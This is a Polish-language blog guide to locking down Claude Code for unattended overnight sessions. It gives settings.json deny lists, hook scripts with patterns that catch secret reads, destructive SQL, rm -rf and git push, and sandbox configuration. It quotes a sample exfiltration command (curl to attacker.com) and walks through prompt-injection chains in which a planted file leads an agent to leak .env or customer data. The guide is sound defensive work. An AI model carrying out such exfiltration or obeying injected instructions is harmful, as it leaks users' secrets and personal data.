# Jak skonfigurować Claude Code, żeby nie zepsuł projektu przez noc
> 7 hooków, settings.json z uprawnieniami i 12-punktowa lista kontrolna, dzięki którym Claude Code może pracować przez noc bez ryzyka utraty .env lub bazy danych. Ochrona w 4 warstwach.
Source: https://ailoot.ai/blog/pl/claude-code-safe-overnight-setup/
Canonical: https://ailoot.ai/blog/pl/claude-code-safe-overnight-setup/
Language: pl
Publisher: Ailoot (https://ailoot.ai/)
Translation: guide-154
Revision: sha256-6f5ed2afa9c0bae548fb8badccc0d7ba699aa8f01be41141755343aaec0e1748
[Dokumentacja Ailoot](https://ailoot.ai/docs/) — materiały referencyjne dotyczące korzystania z usługi.
## Co zmienia się w 2026 roku: autonomiczny Claude Code i rzeczywiste incydenty
Najważniejszy wniosek
W 2026 roku Anthropic udostępnił `auto-mode`, `/loop` i `/schedule` — Claude Code może teraz pracować godzinami bez potwierdzeń. Ceną autonomii są rzeczywiste incydenty: usunięte produkcyjne bazy danych, wycieki `.env` i błąd w `permissions.deny`, który wciąż nie został naprawiony. Ten poradnik pokazuje 4 warstwy ochrony, które należy skonfigurować przed pierwszym nocnym uruchomieniem.
Wcześniej Claude Code zatrzymywał się po każdej odpowiedzi i pytał o zgodę na każdy zapis. Było to niewygodne, ale bezpieczne: fizycznie nie dało się przespać incydentu, bo agent czekał na twoje „tak”. W 2026 roku ten model się załamał. Anthropic udostępnił `auto-mode` — osobny agent klasyfikujący decyduje w twoim imieniu, czy zezwolić na każdą czynność. Pojawiło się polecenie `/loop` (uruchamiające prompt w określonych odstępach w ramach sesji), a także `/schedule` (planowanie w stylu crona dla długotrwałych zadań). Sesje w tle uruchomione przez `claude --bg` działają bez terminala. Szczegółowo omówiłem tryb autonomiczny w poradniku [„/goal w Claude Code: tryb autonomiczny i widok agenta”](https://ailoot.ai/blog/pl/claude-code-goal-agent-view/).
Problem polega na tym, że autonomia pojawiła się szybciej niż zabezpieczenia.
Kilka tygodni temu poprosiłem go o „posprzątanie”, a skończyło się na usunięciu zarówno mojej produkcyjnej, jak i deweloperskiej bazy danych.
— browningstreet
W repozytorium Anthropic są jednocześnie otwarte dwa błędy, o których warto wiedzieć przed dodaniem `permissions.deny` do `settings.json`:
- **Zgłoszenie \#44868** (7 kwietnia 2026): Claude Code odczytuje zawartość `.env` przez `grep -n` do transkrypcji czatu, mimo wyraźnego zakazu w `CLAUDE.md`. Błąd pozostaje otwarty.
- **Zgłoszenie \#24846** (11 lutego 2026): reguły `permissions.read.deny` dla wzorców `.env*` nie są stosowane — `Read` odczytuje `.env.local` mimo prawidłowego wzorca zakazu. Zgłoszenie zamknięto jako duplikat, ale nie naprawiono błędu.
Te dwie luki pokazują, dlaczego jedna warstwa w `settings.json` nie wystarcza. Dalej model czterech warstw: uprawnienia + hooki + sandbox + rozdzielenie sesji. Każda może ograniczać narażenie, ale nie czyni innych kompletnymi. Cytowana ocena auto-mode nie dowodzi przechwycenia jego pomyłek przez hook regex. Dla produkcji użyj izolowanego środowiska systemowego bez poświadczeń lub zapisu produkcyjnego, egzekwuj ograniczenia sieci poza modelem i sprawdź granice przed pracą bez nadzoru.
## Czym są zielona i czerwona strefa projektu?
Najważniejszy wniosek
Zielona strefa: lokalny projekt bez aktywnych klientów i przepływu pieniędzy. Czerwona strefa: wszystko, co ma produkcyjną bazę danych, obsługuje płatności lub przechowuje dane osobowe. W zielonej strefie można używać `auto-mode` przy minimalnej liczbie hooków. W czerwonej strefie ochronę buduje się w 4 warstwach, a `--dangerously-skip-permissions` jest architektonicznie zabronione.
Nie ma sensu budować takiej samej ochrony dla każdego projektu. Lokalny projekt hobbystyczny na twoim komputerze, który nie jest wdrożony na zewnątrz, oznacza zupełnie inny poziom ryzyka niż usługa obsługująca rzeczywiste płatności i przechowująca dane klientów. Jeśli wszędzie zastosujesz tę samą ochronę, spowolnisz pracę w zielonej strefie, a w czerwonej i tak pozostawisz luki.
Projekt przechodzi z zielonej do czerwonej strefy, gdy spełniony zostanie choć jeden z trzech warunków: pojawią się aktywni klienci, przez system zaczną przepływać pieniądze albo baza danych będzie zawierać dane osobowe. Do tego czasu możesz korzystać z `auto-mode`, minimalnej liczby hooków i nie używać sandboxa. Potem ochronę trzeba zbudować ponownie zgodnie z pełną konfiguracją opisaną w tym poradniku.
Główna zasada: poziom ochrony zależy od strefy. Etap rozwoju nie ma znaczenia. Projekt hobbystyczny na twoim komputerze z testowym kontem Stripe należy do zielonej strefy. Usługa z jednym płacącym klientem i formularzem rejestracyjnym jest już w czerwonej strefie, nawet jeśli nadal wygląda jak „wersja robocza”. Mylenie tych stref to częsta pułapka w początkowej fazie projektu: „wciąż jesteśmy w wersji roboczej, dodamy ochronę później”, a potem pierwszy klient płaci już w przyszłym tygodniu.
## Jak działa hierarchia uprawnień w settings.json?
Najważniejszy wniosek
W `settings.json` reguły `deny` zawsze mają pierwszeństwo przed `allow`, a zakresy (user → project → local → managed) są scalane, a nie nadpisywane. Zakaz na poziomie użytkownika dotyczący `.env`, `*.pem` i `~/.ssh/**` chroni cię nawet w cudzym repozytorium. Klucz `disableBypassPermissionsMode` architektonicznie blokuje też tryb YOLO.
Anthropic opisuje hierarchię sprawdzania uprawnień w [oficjalnej dokumentacji](https://code.claude.com/docs/en/settings): najpierw sprawdzane są reguły deny, potem ask, a na końcu allow — wygrywa pierwsza pasująca reguła. Oznacza to, że `deny` zawsze ma pierwszeństwo przed `allow`. Jeśli zabronisz odczytu `.env` w `~/.claude/settings.json`, a ktoś ustawi `allow` w `.claude/settings.json` projektu, obowiązuje twój zakaz, a nie jego zezwolenie.
Przykład minimalnego bezpiecznego pliku `~/.claude/settings.json` na poziomie użytkownika:
```json
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
```
Co tu się dzieje? Pierwsze sześć reguł blokuje odczyt plików z sekretami w bieżącym katalogu i wszystkich podkatalogach. `*.pem` i `*.key` to klucze SSL/TLS i klucze SSH. `credentials*.json` to typowa nazwa pliku używana przez dostawców usług w chmurze. Ostatnie trzy reguły dotyczą katalogów systemowych zawierających klucze SSH, dane uwierzytelniające AWS i klucze GPG.
Klucz `disableBypassPermissionsMode: "disable"` blokuje flagę `--dangerously-skip-permissions` (znaną też jako tryb YOLO). Raz na zawsze eliminuje to jedną kategorię błędów: nawet jeśli przypadkiem dodasz tę flagę do skryptu lub aliasu, Claude Code odmówi jej przyjęcia. Nie tylko ją usunie — zwróci błąd „mode disabled by managed settings”.
Ponadto, począwszy od wersji 2.1.142, klucz `defaultMode: "auto"` jest ignorowany, jeśli znajduje się w ustawieniach projektu lub lokalnych. Chroni to przed sytuacją: „wszedłem do cudzego repozytorium, a jego `.claude/settings.json` domyślnie włącza tryb automatyczny”. Anthropic wyraźnie stwierdził, że repozytoria nie mogą włączyć auto-mode bez zgody użytkownika.
To pierwsza linia ochrony. Nie możesz na niej poprzestać, bo ma dwie luki, o których dowiesz się w następnej części.
## Dlaczego permissions.deny nie wystarcza: 2 otwarte zgłoszenia na GitHubie
Najważniejszy wniosek
W kwietniu 2026 roku użytkownik zgłosił w repozytorium Anthropic błąd \#44868: Claude odczytuje `.env` za pomocą `grep -n` i wypisuje jego zawartość w transkrypcji, mimo zakazu w `CLAUDE.md`. W lutym zgłoszenie \#24846 opisywało, że `permissions.read.deny` dla `.env*` nie działa na poziomie narzędzia Read. Oba zgłoszenia pozostają otwarte, a to oznacza, że `settings.json` bez dodatkowego hooka jest dziurawym sitem.
Gdyby `permissions.deny` działało, poradnik mógłby zakończyć się w poprzedniej części. Ale nie działa.
Zgłoszenie \#44868 (7 kwietnia 2026): użytkownik wyraźnie dodał w `CLAUDE.md` zakaz odczytu `.env`, `.dev.vars` i innych plików zawierających sekrety. Zamiast użyć Read, Claude uruchomił `grep -n SOMETHING .env`. Polecenie `grep -n` wypisuje cały pasujący wiersz wraz z numerem — w tym rzeczywisty token API. Wiersz trafia do `tool_result`, jest wyświetlany w transkrypcji sesji i zapisywany w historii.
Subtelna kwestia, na którą zwraca uwagę autor: odruch bezpieczeństwa modelu uruchamia się dopiero po wygenerowaniu wyniku, a nie przed wykonaniem polecenia. Innymi słowy, Claude najpierw uruchamia `grep`, otrzymuje wiersz zawierający token i wypisuje go na czacie — dopiero wtedy zauważa błąd i „przeprasza”. W tej chwili token znajduje się już w historii czatu. Jedynym rozwiązaniem jest rotacja klucza.
Zgłoszenie \#24846 (11 lutego 2026): użytkownik skonfigurował `permissions.read.deny` z listą zawierającą wzorzec `**/.env*`. Następnie poprosił Claude’a o odczyt `.env.local`. Narzędzie Read zakończyło działanie bez błędów i wypisało zawartość pliku.
Zgłoszenie zamknięto jako duplikat, ale błędu nie naprawiono. W chwili pisania tego poradnika (czerwiec 2026) można go odtworzyć.
Wniosek: warstwa 1 w `settings.json` nie jest stratą czasu, ale te przykłady nie mierzą odsetka blokowanych przypadkowych odczytów. Nie zapobiega jednak poleceniom przez Bash (`cat .env`, `grep API_KEY .env`, `head .env`), błędom egzekwowania reguł (zgłoszenie \#24846) ani sprytnym łańcuchom wykorzystującym `git diff` lub `git show` dla commita zawierającego `.env`. Dlatego potrzebna jest druga warstwa — hooki.
## Jak hooki mogą blokować rozpoznane niebezpieczne działania?
Najważniejszy wniosek
Hooki w Claude Code to skrypty powłoki uruchamiane przy określonych zdarzeniach (`PreToolUse`, `UserPromptSubmit`, `Stop`), które mogą blokować działanie kodem wyjścia 2 lub JSON-em zawierającym `permissionDecision: "deny"`. W odróżnieniu od uprawnień i `CLAUDE.md`, hook jest oprogramowaniem pośredniczącym: przechwytuje wywołanie przed wykonaniem, bez udziału modelu.
Hooki działają na innym poziomie abstrakcji niż uprawnienia. Uprawnienia to reguły, które model bierze pod uwagę, decydując, co zrobić. Hook działa inaczej: model decyduje się wywołać narzędzie, hook uruchamia się pomiędzy modelem a systemem, sprawdza dane wejściowe i albo zezwala na działanie, albo je blokuje. Model nie uczestniczy w decyzji hooka — to napisany przez ciebie kod powłoki.
Anthropic opisuje blokowanie działań w [oficjalnej dokumentacji hooków](https://code.claude.com/docs/en/hooks):
Kod wyjścia 2 oznacza błąd blokujący. Claude Code ignoruje standardowe wyjście i cały zawarty w nim JSON. Zamiast tego tekst ze standardowego wyjścia błędów jest przekazywany Claude’owi jako komunikat o błędzie.
— Dokumentacja Claude Code (Hooks), https://code.claude.com/docs/en/hooks
Oznacza to dwie rzeczy. Po pierwsze, poprawnie skonfigurowany hook blokujący może odmówić dopasowanego wywołania. Dla `PreToolUse` kod wyjścia 2 blokuje to wywołanie; nie dowodzi rozpoznawania każdego niebezpiecznego równoważnego polecenia. Po drugie, możesz umieścić zrozumiały komunikat na stderr, a Claude odczyta go jako błąd i spróbuje innego podejścia. Innymi słowy, hook to nie tylko „płot”, lecz „płot z tabliczką wyjaśniającą, dlaczego nie można przejść”.
Zdarzenia, które można blokować kodem wyjścia 2:
- `PreToolUse` — blokuje wywołanie narzędzia przed wykonaniem. Główne zdarzenie dla hooków ochronnych.
- `PermissionRequest` — odmawia zgody na działanie, na które Claude poprosił o zgodę.
- `UserPromptSubmit` — blokuje i usuwa prompt użytkownika. Przydatne, gdy prompt zawiera podejrzany tekst (na przykład prompt injection z podłożonej wiadomości e-mail).
- `Stop` — uniemożliwia Claude’owi zakończenie sesji. Można użyć go jako „pętli”, by agent pracował aż do spełnienia warunku.
- `PreCompact` — blokuje automatyczne skracanie kontekstu. Przydatne, jeśli chcesz zachować transkrypcję do czasu podjęcia ręcznej decyzji.
- `WorktreeCreate` — odrzuca utworzenie worktree. Zabezpiecza przed próbą sklonowania repozytorium w nieoczekiwanym miejscu.
Alternatywą dla kodu wyjścia 2 jest zwrócenie JSON-a z polem `hookSpecificOutput.permissionDecision`. `permissionDecision` może przyjąć jedną z czterech wartości:
- `allow` — jawnie zezwala na działanie, z pominięciem standardowego procesu uprawnień.
- `deny` — blokuje działanie, odpowiednik kodu wyjścia 2 dla PreToolUse.
- `ask` — przekazuje decyzję użytkownikowi (pojawia się okno dialogowe).
- `defer` — przekazuje decyzję do standardowej logiki uprawnień.
Dzięki temu hook daje większą kontrolę niż sam kod wyjścia. Za pomocą `permissionDecision: "ask"` można zmienić ciche operacje w takie, które wymagają potwierdzenia, bez ich całkowitego blokowania. Tak robię w przypadku `npm install ` i zmian plików lockfile.
Jeśli chcesz dowiedzieć się więcej o działaniu hooków i poznać 31 zdarzeń dostępnych obecnie w Claude Code, opisałem je w osobnym poradniku [„Hooki w Claude Code: 7 gotowych do skopiowania reguł”](https://ailoot.ai/blog/pl/claude-code-hooks/). Teraz podam konkretne hooki do pracy autonomicznej.
## Których 7 hooków używam do pracy przez noc?
Najważniejszy wniosek
Przykładowe hooki `PreToolUse` dla 7 scenariuszy: oznaczanie wybranych odczytów sekretów, blokowanie rozpoznanych dosłownych `git push`, filtrowanie wybranych wzorców SQL i `rm -rf`, przegląd instalacji pakietów i zmian manifestów oraz logowanie dopasowanych wywołań. Przed włączeniem lokalnie sprawdź trafienia i przeoczenia. Te niepełne przykłady regex nie ustanawiają produkcyjnej granicy bezpieczeństwa.
To druga warstwa ochrony, która wzmacnia pierwszą. Wszystkie hooki trafiają do `.claude/hooks/`, są rejestrowane przez `.claude/settings.json` i wymagają zainstalowanego jq.
### Hook 1: Chroń .env, .pem i credentials.json przed odczytem
Dodaje sprawdzenia wybranych ścieżek Read i częstych poleceń odczytu sekretów w Bash. Nie wychwytuje każdego narzędzia ani każdej metody odczytu sekretu. Plik: `.claude/hooks/block-secret-reads.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
```
Rejestracja w `.claude/settings.json`:
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
```
Po instalacji uruchom `chmod +x .claude/hooks/block-secret-reads.sh`. Test: poproś Claude’a o odczyt `.env.local` — zamiast zawartości pliku otrzymasz komunikat „Secret file. Use op:// references or env vars.”.
### Hook 2: Blokowanie dosłownych wywołań git push w nocnych sesjach
Dla sesji bez nadzoru przykład zachowawczo blokuje każde rozpoznane dosłowne `git push`, również do gałęzi funkcyjnych. Nie zgaduje bieżącej gałęzi ani bezpieczeństwa flagi force. Plik: `.claude/hooks/block-force-push.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
```
Zarejestruj przez `PreToolUse` z matcherem `Bash`. Blokowanie rozpoznanego pusha zamiast parsowania flag i gałęzi wychwytuje `git push --force origin main`, `git push origin main --force`, `git push -f`, `git push origin HEAD:main` i dosłowny push w łańcuchu `&&` lub `;`. To przykłady dopasowania tekstu offline, nie polecenia do wykonania na zdalnym repozytorium.
Nadal jest to heurystyka tekstowa. Aliasy Git, funkcje powłoki, `git -C ... push`, konstruowane nazwy, skrypty i inne narzędzia mogą ją ominąć; to nie pełny parser powłoki. Egzekwuj ochronę gałęzi na serwerze Git, usuń poświadczenia obchodzące reguły i uruchamiaj pracę bez nadzoru w izolacji bez zapisu produkcyjnego. Brak dopasowania hooka nie może nadawać uprawnień produkcyjnych.
### Hook 3: Blokowanie destrukcyjnych operacji SQL
Bezpośrednio odnosi się do incydentów z usunięciem bazy danych. Plik: `.claude/hooks/block-destructive-sql.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
```
Zarejestruj: `PreToolUse` z `matcher: "Bash"`. Zwróć uwagę na różnicę: `DROP` i `DELETE` bez `WHERE` są całkowicie blokowane, natomiast `UPDATE` bez `WHERE` zmienia się w `ask` — czasami może to być uzasadnione (na przykład ustawienie flagi we wszystkich rekordach w ramach migracji), ale zawsze wymaga ręcznego potwierdzenia.
### Hook 4: Filtr rm -rf
Kanoniczny przykład z dokumentacji Anthropic, dostosowany tak, by odmawiać działania i podać powód:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
```
Hook pozwala na `rm -rf node_modules`, `rm -rf .next/cache` i inne usuwanie z wyraźnie określonym zakresem. Blokuje `rm -rf .`, `rm -rf /`, `rm -rf ~` i podobne polecenia „wyczyść wszystko”.
### Hook 5: Potwierdzanie instalacji nowych pakietów
Ten hook przeciwdziała atakom na łańcuch dostaw. Jeśli Claude sam zdecyduje się dodać nową zależność, pojawi się okno dialogowe:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
```
Ten hook odpowiada na uwagę Simona Willisona: domyślna lista dozwolonych poleceń `auto-mode` obejmuje `pip install -r requirements.txt`, ale nie chroni przed nieprzypiętymi zależnościami w `requirements.txt`. Hook działa odwrotnie — instalacje z lockfile przechodzą swobodnie, a dodanie nowej zależności wymaga potwierdzenia.
### Hook 6: Chroń package.json i lockfile
Każda zmiana manifestu zależności to sygnał, że ktoś powinien ją sprawdzić. Zwłaszcza w nocy.
```bash
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
```
Zarejestruj z `PreToolUse` i matcherem `Write|Edit`.
### Hook 7: Kompletny dziennik audytowy wszystkich wywołań Bash
Gdy w nocy coś pójdzie nie tak, potrzebujesz pełnego dziennika, aby zrozumieć przebieg zdarzeń. Zarejestruj w `settings.json` (hook nie ma osobnego skryptu; wszystko robi jq):
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
```
Plik `.claude/audit.jsonl` rośnie o jeden wiersz przy każdym zdarzeniu. Rano, po nocnym uruchomieniu `/loop`, możesz wykonać `tail -n 100 .claude/audit.jsonl | jq` i zobaczyć, co agent robił w poszczególnych momentach. Jest to kluczowe przy analizie po incydencie, bo transkrypcja sesji może być długa i trudna do odczytania, a dziennik audytowy zapewnia przejrzystą oś czasu.
## Jak sandbox i izolacja worktree chronią długie sesje?
Najważniejszy wniosek
Sandbox w Claude Code zapewnia izolację systemu plików i sieci. Anthropic podaje, że liczba próśb o pozwolenie spada o 84% przy zachowaniu tego samego poziomu bezpieczeństwa. Izolacja sieciowa blokuje eksfiltrację `.env` na zdalny serwer, nawet jeśli agent zdążył już go odczytać. W przypadku długich sesji w tle sandbox + worktree są obowiązkowe.
Jeśli hooki są „płotem z tabliczką”, sandbox jest „płotem, fosą i siatką antydronową”. To czwarta warstwa ochrony, która obejmuje sytuacje, gdy hooki przepuszczą działanie, ale nawet jego wykonanie nie powinno zaszkodzić poza środowiskiem.
W swoim [wpisie na blogu o sandboxingu](https://www.anthropic.com/engineering/claude-code-sandboxing) (20 października 2025) Anthropic podaje wyniki wewnętrznych pomiarów:
Według naszych wewnętrznych danych sandboxing bezpiecznie zmniejsza liczbę próśb o pozwolenie o 84%.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing
Oznacza to, że po włączeniu `/sandbox` Claude przestaje prosić o zgodę na 84% działań, ponieważ fizycznie nie mogą one opuścić sandboxa. Przyspiesza to pracę, ale nie jest główną korzyścią.
Sandbox zapewnia dwa poziomy izolacji, z których każdy pełni inną rolę:
**Izolacja systemu plików** ogranicza odczyt i zapis do wyraźnie dozwolonych katalogów. Nawet jeśli hook nie wykryje próby zapisu do `/etc/hosts` albo odczytu `~/.ssh/id_rsa`, sandbox nie pozwoli wykonać wywołania systemowego. To ochrona na poziomie systemu operacyjnego. Warstwa aplikacji nie może jej obejść.
**Izolacja sieciowa** zezwala na połączenia wyłącznie z zatwierdzonymi serwerami. Ma to kluczowe znaczenie w przypadku ataków eksfiltracyjnych. Scenariusz: prompt injection w podłożonym pliku skłonił Claude’a do odczytu `.env` (hook tego nie wykrył, bo odczyt przebiegł nietypową ścieżką), a następnie model postanawia uruchomić `curl -X POST attacker.com -d "$ENV_CONTENT"`. Bez izolacji sieciowej to zadziała. Przy włączonej izolacji `curl` nie połączy się z `attacker.com`, bo tego hosta nie ma na liście.
Uruchom sandbox poleceniem `/sandbox` w Claude Code. Skonfiguruj go w `~/.claude/settings.json`:
```json
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
```
W przypadku długich sesji w tle uruchamianych przez `claude --bg` dodaj izolację worktree do sandboxa. To natywny mechanizm Claude Code: każda sesja w tle jest automatycznie przenoszona do własnego `.claude/worktrees//` na osobnej gałęzi. Dzięki temu równoległe sesje nie ingerują w te same pliki podczas zapisu. Szczegółowo omówiłem izolację worktree w poradniku [„Widok agenta i worktree: tryb autonomiczny Claude Code”](https://ailoot.ai/blog/pl/claude-code-goal-agent-view/).
Daj Claude’owi możliwość sprawdzania własnej pracy.
Sandbox jest częścią pętli informacji zwrotnej. Gdy Claude wie, że jego działania są ograniczone, pracuje ostrożniej i wyraźniej opisuje kolejne kroki.
## Gdzie auto-mode sprawdza się w 2026 roku, a gdzie nie?
Najważniejszy wniosek
Auto-mode w Claude Code to klasyfikator Sonnet 4.6, który zastępuje ręczne uprawnienia automatycznymi decyzjami opartymi na regułach Anthropic. Według samego Anthropic odsetek fałszywie ujemnych wyników przy niebezpiecznych działaniach wynosi 17%, a sesja zostaje zatrzymana po 3 kolejnych lub 20 łącznych odrzuceniach przez klasyfikator. W zielonej strefie jest to rozsądny zamiennik ręcznego zatwierdzania. W czerwonej strefie hooki nadal są niezbędne.
W marcu 2026 roku Anthropic udostępnił auto-mode jako „pośrednie rozwiązanie między ręczną weryfikacją a brakiem zabezpieczeń”. Jest to osobny model Sonnet 4.6, który przed wykonaniem ocenia każde działanie Claude’a według zestawu kryteriów. Anthropic opisał mechanizm na [blogu Anthropic Engineering](https://www.anthropic.com/engineering/claude-code-auto-mode):
Auto-mode to nowy tryb Claude Code, w którym zatwierdzanie działań przekazywane jest klasyfikatorom opartym na modelach. To pośrednie rozwiązanie między ręczną weryfikacją a brakiem zabezpieczeń.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
Auto-mode ma dwa istotne ograniczenia:
- Jeśli w sesji pojawią się 3 kolejne lub 20 łącznych odrzuceń przez klasyfikator, model zatrzymuje się i przekazuje sprawę człowiekowi. Chroni to przed sytuacją, w której „Claude zapętla się, próbując obejść ograniczenie za pomocą 100 różnych sformułowań tego samego polecenia”.
- Auto-mode zezwala na działanie, jeśli przypomina ono 93% typowych przypadków, które i tak zatwierdzają użytkownicy. Ogranicza to zmęczenie prośbami o pozwolenie, ale nie chroni przed nietypowymi niebezpiecznymi działaniami.
A oto najważniejsza liczba, na którą warto zwrócić uwagę:
17% fałszywie ujemnych wyników przy rzeczywistych, zbyt pochopnych działaniach — taka jest uczciwa liczba.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
Podane 17% to odsetek wyników fałszywie ujemnych w tej ocenie, nie prawdopodobieństwo każdego działania w projekcie. Nie dowodzi przechwycenia pominiętych działań przez przykładowe hooki. W czerwonej strefie praca bez nadzoru wymaga egzekwowanej izolacji od zapisu produkcyjnego i sekretów oraz ochrony gałęzi na serwerze z poświadczeniami niemogącymi jej obejść.
Praktyczny wniosek: używaj hooków jako dodatkowych sprawdzeń w jednorazowym, odtwarzalnym środowisku. Nawet lokalny projekt może zawierać nieśledzone pliki i poświadczenia, których Git nie przywróci. W czerwonej strefie przeoczenie hooka musi zatrzymać rzeczywista kontrola dostępu; zbiór regex nie daje gwarancji bezpieczeństwa dowolnej powłoki.
## Dlaczego rozdzielać konteksty na trzy rodzaje sesji?
Najważniejszy wniosek
Najgroźniejszy łańcuch składa się z trzech zwyczajnych poleceń wykonanych jedno po drugim, a nie z jednego złego polecenia. Agent odczytuje `.env` (legalne), analizuje przychodzący e-mail (legalne) i wysyła żądanie HTTP na zewnątrz (legalne). Każde działanie z osobna jest bezpieczne; razem tworzą eksfiltrację. Ochrona polega na rozdzieleniu tych trzech typów zadań na osobne sesje z różnymi uprawnieniami.
Trzy rodzaje zadań nigdy nie powinny znaleźć się w tej samej sesji:
**Typ 1: praca z danymi osobowymi.** Sesja ma dostęp do produkcyjnej bazy danych, może wysyłać e-maile i widzi dane uwierzytelniające. NIE ma dostępu do zewnętrznych dokumentów (e-maili, PDF-ów, stron internetowych) i NIE MOŻE wysyłać danych na dowolne adresy.
**Typ 2: przetwarzanie dokumentów zewnętrznych.** Sesja może analizować przychodzące e-maile, pobierać strony internetowe i odczytywać PDF-y z poczty. NIE ma dostępu do bazy danych zawierającej dane osobowe i NIE MOŻE wysyłać niczego na zewnątrz bez wyraźnego potwierdzenia.
**Typ 3: publikowanie na zewnątrz.** Sesja może publikować w mediach społecznościowych, wysyłać kampanie e-mailowe i tworzyć pull requesty. NIE ma dostępu do danych osobowych i NIE analizuje przychodzących treści.
Dlaczego je rozdzielać? Jeśli jedna sesja robi wszystko, pojedynczy prompt injection w podłożonym pliku PDF (konkurencyjna agencja wysłała „fakturę”) wystarczy, by agent za jednym razem odczytał bazę danych klientów, znalazł ich adresy e-mail i wysłał je na adres atakującego. Każde działanie w tym łańcuchu jest uzasadnione w ramach odpowiedniego typu zadania. Razem tworzą wyciek.
Najgroźniejszy wzorzec eksfiltracji to nie jedno złe polecenie. To łańcuch całkowicie zwyczajnych poleceń. Agent odczytuje .env (dozwolone), wysyła je przez HTTP (dozwolone) — i po wszystkim.
— ibrahim_h, HackerNews
